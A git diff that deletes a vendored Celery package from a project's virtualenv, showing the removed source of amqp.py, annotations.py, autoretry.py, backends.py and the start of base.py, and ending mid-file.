index 63d46935..00000000 Binary files a/backend/venv/Lib/site-packages/celery/app/__pycache__/log.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/app/__pycache__/registry.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/app/__pycache__/registry.cpython-311.pyc deleted file mode 100644 index c8bf82a8..00000000 Binary files a/backend/venv/Lib/site-packages/celery/app/__pycache__/registry.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/app/__pycache__/routes.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/app/__pycache__/routes.cpython-311.pyc deleted file mode 100644 index 2542ecd6..00000000 Binary files a/backend/venv/Lib/site-packages/celery/app/__pycache__/routes.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/app/__pycache__/task.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/app/__pycache__/task.cpython-311.pyc deleted file mode 100644 index 2f1e5a4a..00000000 Binary files a/backend/venv/Lib/site-packages/celery/app/__pycache__/task.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/app/__pycache__/trace.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/app/__pycache__/trace.cpython-311.pyc deleted file mode 100644 index e12da789..00000000 Binary files a/backend/venv/Lib/site-packages/celery/app/__pycache__/trace.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/app/__pycache__/utils.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/app/__pycache__/utils.cpython-311.pyc deleted file mode 100644 index 8bcee456..00000000 Binary files a/backend/venv/Lib/site-packages/celery/app/__pycache__/utils.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/app/amqp.py b/backend/venv/Lib/site-packages/celery/app/amqp.py deleted file mode 100644 index 8dcec363..00000000 --- a/backend/venv/Lib/site-packages/celery/app/amqp.py +++ /dev/null @@ -1,621 +0,0 @@ -"""Sending/Receiving Messages (Kombu integration).""" -import numbers -from collections import namedtuple -from collections.abc import Mapping -from datetime import timedelta -from weakref import WeakValueDictionary - -from kombu import Connection, Consumer, Exchange, Producer, Queue, pools -from kombu.common import Broadcast -from kombu.utils.functional import maybe_list -from kombu.utils.objects import cached_property - -from celery import signals -from celery.utils.nodenames import anon_nodename -from celery.utils.saferepr import saferepr -from celery.utils.text import indent as textindent -from celery.utils.time import maybe_make_aware - -from . import routes as _routes - -__all__ = ('AMQP', 'Queues', 'task_message') - -#: earliest date supported by time.mktime. -INT_MIN = -2147483648 - -#: Human readable queue declaration. -QUEUE_FORMAT = """ -.> {0.name:<16} exchange={0.exchange.name}({0.exchange.type}) \ -key={0.routing_key} -""" - -task_message = namedtuple('task_message', - ('headers', 'properties', 'body', 'sent_event')) - - -def utf8dict(d, encoding='utf-8'): - return {k.decode(encoding) if isinstance(k, bytes) else k: v - for k, v in d.items()} - - -class Queues(dict): - """Queue name⇒ declaration mapping. - - Arguments: - queues (Iterable): Initial list/tuple or dict of queues. - create_missing (bool): By default any unknown queues will be - added automatically, but if this flag is disabled the occurrence - of unknown queues in `wanted` will raise :exc:`KeyError`. - max_priority (int): Default x-max-priority for queues with none set. - """ - - #: If set, this is a subset of queues to consume from. - #: The rest of the queues are then used for routing only. - _consume_from = None - - def __init__(self, queues=None, default_exchange=None, - create_missing=True, autoexchange=None, - max_priority=None, default_routing_key=None): - super().__init__() - self.aliases = WeakValueDictionary() - self.default_exchange = default_exchange - self.default_routing_key = default_routing_key - self.create_missing = create_missing - self.autoexchange = Exchange if autoexchange is None else autoexchange - self.max_priority = max_priority - if queues is not None and not isinstance(queues, Mapping): - queues = {q.name: q for q in queues} - queues = queues or {} - for name, q in queues.items(): - self.add(q) if isinstance(q, Queue) else self.add_compat(name, **q) - - def __getitem__(self, name): - try: - return self.aliases[name] - except KeyError: - return super().__getitem__(name) - - def __setitem__(self, name, queue): - if self.default_exchange and not queue.exchange: - queue.exchange = self.default_exchange - super().__setitem__(name, queue) - if queue.alias: - self.aliases[queue.alias] = queue - - def __missing__(self, name): - if self.create_missing: - return self.add(self.new_missing(name)) - raise KeyError(name) - - def add(self, queue, **kwargs): - """Add new queue. - - The first argument can either be a :class:`kombu.Queue` instance, - or the name of a queue. If the former the rest of the keyword - arguments are ignored, and options are simply taken from the queue - instance. - - Arguments: - queue (kombu.Queue, str): Queue to add. - exchange (kombu.Exchange, str): - if queue is str, specifies exchange name. - routing_key (str): if queue is str, specifies binding key. - exchange_type (str): if queue is str, specifies type of exchange. - **options (Any): Additional declaration options used when - queue is a str. - """ - if not isinstance(queue, Queue): - return self.add_compat(queue, **kwargs) - return self._add(queue) - - def add_compat(self, name, **options): - # docs used to use binding_key as routing key - options.setdefault('routing_key', options.get('binding_key')) - if options['routing_key'] is None: - options['routing_key'] = name - return self._add(Queue.from_dict(name, **options)) - - def _add(self, queue): - if queue.exchange is None or queue.exchange.name == '': - queue.exchange = self.default_exchange - if not queue.routing_key: - queue.routing_key = self.default_routing_key - if self.max_priority is not None: - if queue.queue_arguments is None: - queue.queue_arguments = {} - self._set_max_priority(queue.queue_arguments) - self[queue.name] = queue - return queue - - def _set_max_priority(self, args): - if 'x-max-priority' not in args and self.max_priority is not None: - return args.update({'x-max-priority': self.max_priority}) - - def format(self, indent=0, indent_first=True): - """Format routing table into string for log dumps.""" - active = self.consume_from - if not active: - return '' - info = [QUEUE_FORMAT.strip().format(q) - for _, q in sorted(active.items())] - if indent_first: - return textindent('\n'.join(info), indent) - return info[0] + '\n' + textindent('\n'.join(info[1:]), indent) - - def select_add(self, queue, **kwargs): - """Add new task queue that'll be consumed from. - - The queue will be active even when a subset has been selected - using the :option:`celery worker -Q` option. - """ - q = self.add(queue, **kwargs) - if self._consume_from is not None: - self._consume_from[q.name] = q - return q - - def select(self, include): - """Select a subset of currently defined queues to consume from. - - Arguments: - include (Sequence[str], str): Names of queues to consume from. - """ - if include: - self._consume_from = { - name: self[name] for name in maybe_list(include) - } - - def deselect(self, exclude): - """Deselect queues so that they won't be consumed from. - - Arguments: - exclude (Sequence[str], str): Names of queues to avoid - consuming from. - """ - if exclude: - exclude = maybe_list(exclude) - if self._consume_from is None: - # using all queues - return self.select(k for k in self if k not in exclude) - # using selection - for queue in exclude: - self._consume_from.pop(queue, None) - - def new_missing(self, name): - return Queue(name, self.autoexchange(name), name) - - @property - def consume_from(self): - if self._consume_from is not None: - return self._consume_from - return self - - -class AMQP: - """App AMQP API: app.amqp.""" - - Connection = Connection - Consumer = Consumer - Producer = Producer - - #: compat alias to Connection - BrokerConnection = Connection - - queues_cls = Queues - - #: Cached and prepared routing table. - _rtable = None - - #: Underlying producer pool instance automatically - #: set by the :attr:`producer_pool`. - _producer_pool = None - - # Exchange class/function used when defining automatic queues. - # For example, you can use ``autoexchange = lambda n: None`` to use the - # AMQP default exchange: a shortcut to bypass routing - # and instead send directly to the queue named in the routing key. - autoexchange = None - - #: Max size of positional argument representation used for - #: logging purposes. - argsrepr_maxsize = 1024 - - #: Max size of keyword argument representation used for logging purposes. - kwargsrepr_maxsize = 1024 - - def __init__(self, app): - self.app = app - self.task_protocols = { - 1: self.as_task_v1, - 2: self.as_task_v2, - } - self.app._conf.bind_to(self._handle_conf_update) - - @cached_property - def create_task_message(self): - return self.task_protocols[self.app.conf.task_protocol] - - @cached_property - def send_task_message(self): - return self._create_task_sender() - - def Queues(self, queues, create_missing=None, - autoexchange=None, max_priority=None): - # Create new :class:`Queues` instance, using queue defaults - # from the current configuration. - conf = self.app.conf - default_routing_key = conf.task_default_routing_key - if create_missing is None: - create_missing = conf.task_create_missing_queues - if max_priority is None: - max_priority = conf.task_queue_max_priority - if not queues and conf.task_default_queue: - queue_arguments = None - if conf.task_default_queue_type == 'quorum': - queue_arguments = {'x-queue-type': 'quorum'} - queues = (Queue(conf.task_default_queue, - exchange=self.default_exchange, - routing_key=default_routing_key, - queue_arguments=queue_arguments),) - autoexchange = (self.autoexchange if autoexchange is None - else autoexchange) - return self.queues_cls( - queues, self.default_exchange, create_missing, - autoexchange, max_priority, default_routing_key, - ) - - def Router(self, queues=None, create_missing=None): - """Return the current task router.""" - return _routes.Router(self.routes, queues or self.queues, - self.app.either('task_create_missing_queues', - create_missing), app=self.app) - - def flush_routes(self): - self._rtable = _routes.prepare(self.app.conf.task_routes) - - def TaskConsumer(self, channel, queues=None, accept=None, **kw): - if accept is None: - accept = self.app.conf.accept_content - return self.Consumer( - channel, accept=accept, - queues=queues or list(self.queues.consume_from.values()), - **kw - ) - - def as_task_v2(self, task_id, name, args=None, kwargs=None, - countdown=None, eta=None, group_id=None, group_index=None, - expires=None, retries=0, chord=None, - callbacks=None, errbacks=None, reply_to=None, - time_limit=None, soft_time_limit=None, - create_sent_event=False, root_id=None, parent_id=None, - shadow=None, chain=None, now=None, timezone=None, - origin=None, ignore_result=False, argsrepr=None, kwargsrepr=None, stamped_headers=None, - replaced_task_nesting=0, **options): - - args = args or () - kwargs = kwargs or {} - if not isinstance(args, (list, tuple)): - raise TypeError('task args must be a list or tuple') - if not isinstance(kwargs, Mapping): - raise TypeError('task keyword arguments must be a mapping') - if countdown: # convert countdown to ETA - self._verify_seconds(countdown, 'countdown') - now = now or self.app.now() - timezone = timezone or self.app.timezone - eta = maybe_make_aware( - now + timedelta(seconds=countdown), tz=timezone, - ) - if isinstance(expires, numbers.Real): - self._verify_seconds(expires, 'expires') - now = now or self.app.now() - timezone = timezone or self.app.timezone - expires = maybe_make_aware( - now + timedelta(seconds=expires), tz=timezone, - ) - if not isinstance(eta, str): - eta = eta and eta.isoformat() - # If we retry a task `expires` will already be ISO8601-formatted. - if not isinstance(expires, str): - expires = expires and expires.isoformat() - - if argsrepr is None: - argsrepr = saferepr(args, self.argsrepr_maxsize) - if kwargsrepr is None: - kwargsrepr = saferepr(kwargs, self.kwargsrepr_maxsize) - - if not root_id: # empty root_id defaults to task_id - root_id = task_id - - stamps = {header: options[header] for header in stamped_headers or []} - headers = { - 'lang': 'py', - 'task': name, - 'id': task_id, - 'shadow': shadow, - 'eta': eta, - 'expires': expires, - 'group': group_id, - 'group_index': group_index, - 'retries': retries, - 'timelimit': [time_limit, soft_time_limit], - 'root_id': root_id, - 'parent_id': parent_id, - 'argsrepr': argsrepr, - 'kwargsrepr': kwargsrepr, - 'origin': origin or anon_nodename(), - 'ignore_result': ignore_result, - 'replaced_task_nesting': replaced_task_nesting, - 'stamped_headers': stamped_headers, - 'stamps': stamps, - } - - return task_message( - headers=headers, - properties={ - 'correlation_id': task_id, - 'reply_to': reply_to or '', - }, - body=( - args, kwargs, { - 'callbacks': callbacks, - 'errbacks': errbacks, - 'chain': chain, - 'chord': chord, - }, - ), - sent_event={ - 'uuid': task_id, - 'root_id': root_id, - 'parent_id': parent_id, - 'name': name, - 'args': argsrepr, - 'kwargs': kwargsrepr, - 'retries': retries, - 'eta': eta, - 'expires': expires, - } if create_sent_event else None, - ) - - def as_task_v1(self, task_id, name, args=None, kwargs=None, - countdown=None, eta=None, group_id=None, group_index=None, - expires=None, retries=0, - chord=None, callbacks=None, errbacks=None, reply_to=None, - time_limit=None, soft_time_limit=None, - create_sent_event=False, root_id=None, parent_id=None, - shadow=None, now=None, timezone=None, - **compat_kwargs): - args = args or () - kwargs = kwargs or {} - utc = self.utc - if not isinstance(args, (list, tuple)): - raise TypeError('task args must be a list or tuple') - if not isinstance(kwargs, Mapping): - raise TypeError('task keyword arguments must be a mapping') - if countdown: # convert countdown to ETA - self._verify_seconds(countdown, 'countdown') - now = now or self.app.now() - eta = now + timedelta(seconds=countdown) - if isinstance(expires, numbers.Real): - self._verify_seconds(expires, 'expires') - now = now or self.app.now() - expires = now + timedelta(seconds=expires) - eta = eta and eta.isoformat() - expires = expires and expires.isoformat() - - return task_message( - headers={}, - properties={ - 'correlation_id': task_id, - 'reply_to': reply_to or '', - }, - body={ - 'task': name, - 'id': task_id, - 'args': args, - 'kwargs': kwargs, - 'group': group_id, - 'group_index': group_index, - 'retries': retries, - 'eta': eta, - 'expires': expires, - 'utc': utc, - 'callbacks': callbacks, - 'errbacks': errbacks, - 'timelimit': (time_limit, soft_time_limit), - 'taskset': group_id, - 'chord': chord, - }, - sent_event={ - 'uuid': task_id, - 'name': name, - 'args': saferepr(args), - 'kwargs': saferepr(kwargs), - 'retries': retries, - 'eta': eta, - 'expires': expires, - } if create_sent_event else None, - ) - - def _verify_seconds(self, s, what): - if s < INT_MIN: - raise ValueError(f'{what} is out of range: {s!r}') - return s - - def _create_task_sender(self): - default_retry = self.app.conf.task_publish_retry - default_policy = self.app.conf.task_publish_retry_policy - default_delivery_mode = self.app.conf.task_default_delivery_mode - default_queue = self.default_queue - queues = self.queues - send_before_publish = signals.before_task_publish.send - before_receivers = signals.before_task_publish.receivers - send_after_publish = signals.after_task_publish.send - after_receivers = signals.after_task_publish.receivers - - send_task_sent = signals.task_sent.send # XXX compat - sent_receivers = signals.task_sent.receivers - - default_evd = self._event_dispatcher - default_exchange = self.default_exchange - - default_rkey = self.app.conf.task_default_routing_key - default_serializer = self.app.conf.task_serializer - default_compressor = self.app.conf.task_compression - - def send_task_message(producer, name, message, - exchange=None, routing_key=None, queue=None, - event_dispatcher=None, - retry=None, retry_policy=None, - serializer=None, delivery_mode=None, - compression=None, declare=None, - headers=None, exchange_type=None, - timeout=None, confirm_timeout=None, **kwargs): - retry = default_retry if retry is None else retry - headers2, properties, body, sent_event = message - if headers: - headers2.update(headers) - if kwargs: - properties.update(kwargs) - - qname = queue - if queue is None and exchange is None: - queue = default_queue - if queue is not None: - if isinstance(queue, str): - qname, queue = queue, queues[queue] - else: - qname = queue.name - - if delivery_mode is None: - try: - delivery_mode = queue.exchange.delivery_mode - except AttributeError: - pass - delivery_mode = delivery_mode or default_delivery_mode - - if exchange_type is None: - try: - exchange_type = queue.exchange.type - except AttributeError: - exchange_type = 'direct' - - # convert to anon-exchange, when exchange not set and direct ex. - if (not exchange or not routing_key) and exchange_type == 'direct': - exchange, routing_key = '', qname - elif exchange is None: - # not topic exchange, and exchange not undefined - exchange = queue.exchange.name or default_exchange - routing_key = routing_key or queue.routing_key or default_rkey - if declare is None and queue and not isinstance(queue, Broadcast): - declare = [queue] - - # merge default and custom policy - retry = default_retry if retry is None else retry - _rp = (dict(default_policy, **retry_policy) if retry_policy - else default_policy) - - if before_receivers: - send_before_publish( - sender=name, body=body, - exchange=exchange, routing_key=routing_key, - declare=declare, headers=headers2, - properties=properties, retry_policy=retry_policy, - ) - ret = producer.publish( - body, - exchange=exchange, - routing_key=routing_key, - serializer=serializer or default_serializer, - compression=compression or default_compressor, - retry=retry, retry_policy=_rp, - delivery_mode=delivery_mode, declare=declare, - headers=headers2, - timeout=timeout, confirm_timeout=confirm_timeout, - **properties - ) - if after_receivers: - send_after_publish(sender=name, body=body, headers=headers2, - exchange=exchange, routing_key=routing_key) - if sent_receivers: # XXX deprecated - if isinstance(body, tuple): # protocol version 2 - send_task_sent( - sender=name, task_id=headers2['id'], task=name, - args=body[0], kwargs=body[1], - eta=headers2['eta'], taskset=headers2['group'], - ) - else: # protocol version 1 - send_task_sent( - sender=name, task_id=body['id'], task=name, - args=body['args'], kwargs=body['kwargs'], - eta=body['eta'], taskset=body['taskset'], - ) - if sent_event: - evd = event_dispatcher or default_evd - exname = exchange - if isinstance(exname, Exchange): - exname = exname.name - sent_event.update({ - 'queue': qname, - 'exchange': exname, - 'routing_key': routing_key, - }) - evd.publish('task-sent', sent_event, - producer, retry=retry, retry_policy=retry_policy) - return ret - return send_task_message - - @cached_property - def default_queue(self): - return self.queues[self.app.conf.task_default_queue] - - @cached_property - def queues(self): - """Queue name⇒ declaration mapping.""" - return self.Queues(self.app.conf.task_queues) - - @queues.setter - def queues(self, queues): - return self.Queues(queues) - - @property - def routes(self): - if self._rtable is None: - self.flush_routes() - return self._rtable - - @cached_property - def router(self): - return self.Router() - - @router.setter - def router(self, value): - return value - - @property - def producer_pool(self): - if self._producer_pool is None: - self._producer_pool = pools.producers[ - self.app.connection_for_write()] - self._producer_pool.limit = self.app.pool.limit - return self._producer_pool - publisher_pool = producer_pool # compat alias - - @cached_property - def default_exchange(self): - return Exchange(self.app.conf.task_default_exchange, - self.app.conf.task_default_exchange_type) - - @cached_property - def utc(self): - return self.app.conf.enable_utc - - @cached_property - def _event_dispatcher(self): - # We call Dispatcher.publish with a custom producer - # so don't need the dispatcher to be enabled. - return self.app.events.Dispatcher(enabled=False) - - def _handle_conf_update(self, *args, **kwargs): - if ('task_routes' in kwargs or 'task_routes' in args): - self.flush_routes() - self.router = self.Router() - return diff --git a/backend/venv/Lib/site-packages/celery/app/annotations.py b/backend/venv/Lib/site-packages/celery/app/annotations.py deleted file mode 100644 index 1c0631f7..00000000 --- a/backend/venv/Lib/site-packages/celery/app/annotations.py +++ /dev/null @@ -1,52 +0,0 @@ -"""Task Annotations. - -Annotations is a nice term for monkey-patching task classes -in the configuration. - -This prepares and performs the annotations in the -:setting:`task_annotations` setting. -""" -from celery.utils.functional import firstmethod, mlazy -from celery.utils.imports import instantiate - -_first_match = firstmethod('annotate') -_first_match_any = firstmethod('annotate_any') - -__all__ = ('MapAnnotation', 'prepare', 'resolve_all') - - -class MapAnnotation(dict): - """Annotation map: task_name => attributes.""" - - def annotate_any(self): - try: - return dict(self['*']) - except KeyError: - pass - - def annotate(self, task): - try: - return dict(self[task.name]) - except KeyError: - pass - - -def prepare(annotations): - """Expand the :setting:`task_annotations` setting.""" - def expand_annotation(annotation): - if isinstance(annotation, dict): - return MapAnnotation(annotation) - elif isinstance(annotation, str): - return mlazy(instantiate, annotation) - return annotation - - if annotations is None: - return () - elif not isinstance(annotations, (list, tuple)): - annotations = (annotations,) - return [expand_annotation(anno) for anno in annotations] - - -def resolve_all(anno, task): - """Resolve all pending annotations.""" - return (x for x in (_first_match(anno, task), _first_match_any(anno)) if x) diff --git a/backend/venv/Lib/site-packages/celery/app/autoretry.py b/backend/venv/Lib/site-packages/celery/app/autoretry.py deleted file mode 100644 index 80bd81f5..00000000 --- a/backend/venv/Lib/site-packages/celery/app/autoretry.py +++ /dev/null @@ -1,66 +0,0 @@ -"""Tasks auto-retry functionality.""" -from vine.utils import wraps - -from celery.exceptions import Ignore, Retry -from celery.utils.time import get_exponential_backoff_interval - - -def add_autoretry_behaviour(task, **options): - """Wrap task's `run` method with auto-retry functionality.""" - autoretry_for = tuple( - options.get('autoretry_for', - getattr(task, 'autoretry_for', ())) - ) - dont_autoretry_for = tuple( - options.get('dont_autoretry_for', - getattr(task, 'dont_autoretry_for', ())) - ) - retry_kwargs = options.get( - 'retry_kwargs', getattr(task, 'retry_kwargs', {}) - ) - retry_backoff = float( - options.get('retry_backoff', - getattr(task, 'retry_backoff', False)) - ) - retry_backoff_max = int( - options.get('retry_backoff_max', - getattr(task, 'retry_backoff_max', 600)) - ) - retry_jitter = options.get( - 'retry_jitter', getattr(task, 'retry_jitter', True) - ) - - if autoretry_for and not hasattr(task, '_orig_run'): - - @wraps(task.run) - def run(*args, **kwargs): - try: - return task._orig_run(*args, **kwargs) - except Ignore: - # If Ignore signal occurs task shouldn't be retried, - # even if it suits autoretry_for list - raise - except Retry: - raise - except dont_autoretry_for: - raise - except autoretry_for as exc: - if retry_backoff: - retry_kwargs['countdown'] = \ - get_exponential_backoff_interval( - factor=int(max(1.0, retry_backoff)), - retries=task.request.retries, - maximum=retry_backoff_max, - full_jitter=retry_jitter) - # Override max_retries - if hasattr(task, 'override_max_retries'): - retry_kwargs['max_retries'] = getattr(task, - 'override_max_retries', - task.max_retries) - ret = task.retry(exc=exc, **retry_kwargs) - # Stop propagation - if hasattr(task, 'override_max_retries'): - delattr(task, 'override_max_retries') - raise ret - - task._orig_run, task.run = task.run, run diff --git a/backend/venv/Lib/site-packages/celery/app/backends.py b/backend/venv/Lib/site-packages/celery/app/backends.py deleted file mode 100644 index a274b855..00000000 --- a/backend/venv/Lib/site-packages/celery/app/backends.py +++ /dev/null @@ -1,69 +0,0 @@ -"""Backend selection.""" -import sys -import types - -from celery._state import current_app -from celery.exceptions import ImproperlyConfigured, reraise -from celery.utils.imports import load_extension_class_names, symbol_by_name - -__all__ = ('by_name', 'by_url') - -UNKNOWN_BACKEND = """ -Unknown result backend: {0!r}. Did you spell that correctly? ({1!r}) -""" - -BACKEND_ALIASES = { - 'rpc': 'celery.backends.rpc.RPCBackend', - 'cache': 'celery.backends.cache:CacheBackend', - 'redis': 'celery.backends.redis:RedisBackend', - 'rediss': 'celery.backends.redis:RedisBackend', - 'sentinel': 'celery.backends.redis:SentinelBackend', - 'mongodb': 'celery.backends.mongodb:MongoBackend', - 'db': 'celery.backends.database:DatabaseBackend', - 'database': 'celery.backends.database:DatabaseBackend', - 'elasticsearch': 'celery.backends.elasticsearch:ElasticsearchBackend', - 'cassandra': 'celery.backends.cassandra:CassandraBackend', - 'couchbase': 'celery.backends.couchbase:CouchbaseBackend', - 'couchdb': 'celery.backends.couchdb:CouchBackend', - 'cosmosdbsql': 'celery.backends.cosmosdbsql:CosmosDBSQLBackend', - 'riak': 'celery.backends.riak:RiakBackend', - 'file': 'celery.backends.filesystem:FilesystemBackend', - 'disabled': 'celery.backends.base:DisabledBackend', - 'consul': 'celery.backends.consul:ConsulBackend', - 'dynamodb': 'celery.backends.dynamodb:DynamoDBBackend', - 'azureblockblob': 'celery.backends.azureblockblob:AzureBlockBlobBackend', - 'arangodb': 'celery.backends.arangodb:ArangoDbBackend', - 's3': 'celery.backends.s3:S3Backend', - 'gs': 'celery.backends.gcs:GCSBackend', -} - - -def by_name(backend=None, loader=None, - extension_namespace='celery.result_backends'): - """Get backend class by name/alias.""" - backend = backend or 'disabled' - loader = loader or current_app.loader - aliases = dict(BACKEND_ALIASES, **loader.override_backends) - aliases.update(load_extension_class_names(extension_namespace)) - try: - cls = symbol_by_name(backend, aliases) - except ValueError as exc: - reraise(ImproperlyConfigured, ImproperlyConfigured( - UNKNOWN_BACKEND.strip().format(backend, exc)), sys.exc_info()[2]) - if isinstance(cls, types.ModuleType): - raise ImproperlyConfigured(UNKNOWN_BACKEND.strip().format( - backend, 'is a Python module, not a backend class.')) - return cls - - -def by_url(backend=None, loader=None): - """Get backend class by URL.""" - url = None - if backend and '://' in backend: - url = backend - scheme, _, _ = url.partition('://') - if '+' in scheme: - backend, url = url.split('+', 1) - else: - backend = scheme - return by_name(backend, loader), url diff --git a/backend/venv/Lib/site-packages/celery/app/base.py b/backend/venv/Lib/site-packages/celery/app/base.py deleted file mode 100644 index a4d1c4cd..00000000 --- a/backend/venv/Lib/site-packages/celery/app/base.py +++ /dev/null @@ -1,1508 +0,0 @@ -"""Actual App instance implementation.""" -import functools -import importlib -import inspect -import os -import sys -import threading -import typing -import warnings -from collections import UserDict, defaultdict, deque -from datetime import datetime -from datetime import timezone as datetime_timezone -from operator import attrgetter - -from click.exceptions import Exit -from dateutil.parser import isoparse -from kombu import Exchange, pools -from kombu.clocks import LamportClock -from kombu.common import oid_from -from kombu.transport.native_delayed_delivery import calculate_routing_key -from kombu.utils.compat import register_after_fork -from kombu.utils.objects import cached_property -from kombu.utils.uuid import uuid -from vine import starpromise - -from celery import platforms, signals -from celery._state import (_announce_app_finalized, _deregister_app, _register_app, _set_current_app, _task_stack, - connect_on_app_finalize, get_current_app, get_current_worker_task, set_default_app) -from celery.exceptions import AlwaysEagerIgnored, ImproperlyConfigured -from celery.loaders import get_loader_cls -from celery.local import PromiseProxy, maybe_evaluate -from celery.utils import abstract -from celery.utils.collections import AttributeDictMixin -from celery.utils.dispatch import Signal -from celery.utils.functional import first, head_from_fun, maybe_list -from celery.utils.imports import gen_task_name, instantiate, symbol_by_name -from celery.utils.log import get_logger -from celery.utils.objects import FallbackContext, mro_lookup -from celery.utils.time import maybe_make_aware, timezone, to_utc - -from ..utils.annotations import annotation_is_class, annotation_issubclass, get_optional_arg -from ..utils.quorum_queues import detect_quorum_queues -# Load all builtin tasks -from . import backends, builtins # noqa -from .annotations import prepare as prepare_annotations -from .autoretry import add_autoretry_behaviour -from .defaults import DEFAULT_SECURITY_DIGEST, find_deprecated_settings -from .registry import TaskRegistry -from .utils import (AppPickler, Settings, _new_key_to_old, _old_key_to_new, _unpickle_app, _unpickle_app_v2, appstr, - bugreport, detect_settings) - -if typing.TYPE_CHECKING: # pragma: no cover # codecov does not capture this - # flake8 marks the BaseModel import as unused, because the actual typehint is quoted. - from pydantic import BaseModel # noqa: F401 - -__all__ = ('Celery',) - -logger = get_logger(__name__) - -BUILTIN_FIXUPS = { - 'celery.fixups.django:fixup', -} -USING_EXECV = os.environ.get('FORKED_BY_MULTIPROCESSING') - -ERR_ENVVAR_NOT_SET = """ -The environment variable {0!r} is not set, -and as such the configuration could not be loaded. - -Please set this variable and make sure it points to -a valid configuration module. - -Example: - {0}="proj.celeryconfig" -""" - - -def app_has_custom(app, attr): - """Return true if app has customized method `attr`. - - Note: - This is used for optimizations in cases where we know - how the default behavior works, but need to account - for someone using inheritance to override a method/property. - """ - return mro_lookup(app.__class__, attr, stop={Celery, object}, - monkey_patched=[__name__]) - - -def _unpickle_appattr(reverse_name, args): - """Unpickle app.""" - # Given an attribute name and a list of args, gets - # the attribute from the current app and calls it. - return get_current_app()._rgetattr(reverse_name)(*args) - - -def _after_fork_cleanup_app(app): - # This is used with multiprocessing.register_after_fork, - # so need to be at module level. - try: - app._after_fork() - except Exception as exc: # pylint: disable=broad-except - logger.info('after forker raised exception: %r', exc, exc_info=1) - - -def pydantic_wrapper( - app: "Celery", - task_fun: typing.Callable[..., typing.Any], - task_name: str, - strict: bool = True, - context: typing.Optional[typing.Dict[str, typing.Any]] = None, - dump_kwargs: typing.Optional[typing.Dict[str, typing.Any]] = None -): - """Wrapper to validate arguments and serialize return values using Pydantic.""" - try: - pydantic = importlib.import_module('pydantic') - except ModuleNotFoundError as ex: - raise ImproperlyConfigured('You need to install pydantic to use pydantic model serialization.') from ex - - BaseModel: typing.Type['BaseModel'] = pydantic.BaseModel # noqa: F811 # only defined when type checking - - if context is None: - context = {} - if dump_kwargs is None: - dump_kwargs = {} - dump_kwargs.setdefault('mode', 'json') - - task_signature = inspect.signature(task_fun) - - @functools.wraps(task_fun) - def wrapper(*task_args, **task_kwargs): - # Validate task parameters if type hinted as BaseModel - bound_args = task_signature.bind(*task_args, **task_kwargs) - for arg_name, arg_value in bound_args.arguments.items(): - arg_annotation = task_signature.parameters[arg_name].annotation - - optional_arg = get_optional_arg(arg_annotation) - if optional_arg is not None and arg_value is not None: - arg_annotation = optional_arg - - if annotation_issubclass(arg_annotation, BaseModel): - bound_args.arguments[arg_name] = arg_annotation.model_validate( - arg_value, - strict=strict, - context={**context, 'celery_app': app, 'celery_task_name': task_name}, - ) - - # Call the task with (potentially) converted arguments - returned_value = task_fun(*bound_args.args, **bound_args.kwargs) - - # Dump Pydantic model if the returned value is an instance of pydantic.BaseModel *and* its - # class matches the typehint - return_annotation = task_signature.return_annotation - optional_return_annotation = get_optional_arg(return_annotation) - if optional_return_annotation is not None: - return_annotation = optional_return_annotation - - if ( - annotation_is_class(return_annotation) - and isinstance(returned_value, BaseModel) - and isinstance(returned_value, return_annotation) - ): - return returned_value.model_dump(**dump_kwargs) - - return returned_value - - return wrapper - - -class PendingConfiguration(UserDict, AttributeDictMixin): - # `app.conf` will be of this type before being explicitly configured, - # meaning the app can keep any configuration set directly - # on `app.conf` before the `app.config_from_object` call. - # - # accessing any key will finalize the configuration, - # replacing `app.conf` with a concrete settings object. - - callback = None - _data = None - - def __init__(self, conf, callback): - object.__setattr__(self, '_data', conf) - object.__setattr__(self, 'callback', callback) - - def __setitem__(self, key, value): - self._data[key] = value - - def clear(self): - self._data.clear() - - def update(self, *args, **kwargs): - self._data.update(*args, **kwargs) - - def setdefault(self, *args, **kwargs): - return self._data.setdefault(*args, **kwargs) - - def __contains__(self, key): - # XXX will not show finalized configuration - # setdefault will cause `key in d` to happen, - # so for setdefault to be lazy, so does contains. - return key in self._data - - def __len__(self): - return len(self.data) - - def __repr__(self): - return repr(self.data) - - @cached_property - def data(self): - return self.callback() - - -class Celery: - """Celery application. - - Arguments: - main (str): Name of the main module if running as `__main__`. - This is used as the prefix for auto-generated task names. - - Keyword Arguments: - broker (str): URL of the default broker used. - backend (Union[str, Type[celery.backends.base.Backend]]): - The result store backend class, or the name of the backend - class to use. - - Default is the value of the :setting:`result_backend` setting. - autofinalize (bool): If set to False a :exc:`RuntimeError` - will be raised if the task registry or tasks are used before - the app is finalized. - set_as_current (bool): Make this the global current app. - include (List[str]): List of modules every worker should import. - - amqp (Union[str, Type[AMQP]]): AMQP object or class name. - events (Union[str, Type[celery.app.events.Events]]): Events object or - class name. - log (Union[str, Type[Logging]]): Log object or class name. - control (Union[str, Type[celery.app.control.Control]]): Control object - or class name. - tasks (Union[str, Type[TaskRegistry]]): A task registry, or the name of - a registry class. - fixups (List[str]): List of fix-up plug-ins (e.g., see - :mod:`celery.fixups.django`). - config_source (Union[str, class]): Take configuration from a class, - or object. Attributes may include any settings described in - the documentation. - task_cls (Union[str, Type[celery.app.task.Task]]): base task class to - use. See :ref:`this section ` for usage. - """ - - #: This is deprecated, use :meth:`reduce_keys` instead - Pickler = AppPickler - - SYSTEM = platforms.SYSTEM - IS_macOS, IS_WINDOWS = platforms.IS_macOS, platforms.IS_WINDOWS - - #: Name of the `__main__` module. Required for standalone scripts. - #: - #: If set this will be used instead of `__main__` when automatically - #: generating task names. - main = None - - #: Custom options for command-line programs. - #: See :ref:`extending-commandoptions` - user_options = None - - #: Custom bootsteps to extend and modify the worker. - #: See :ref:`extending-bootsteps`. - steps = None - - builtin_fixups = BUILTIN_FIXUPS - - amqp_cls = 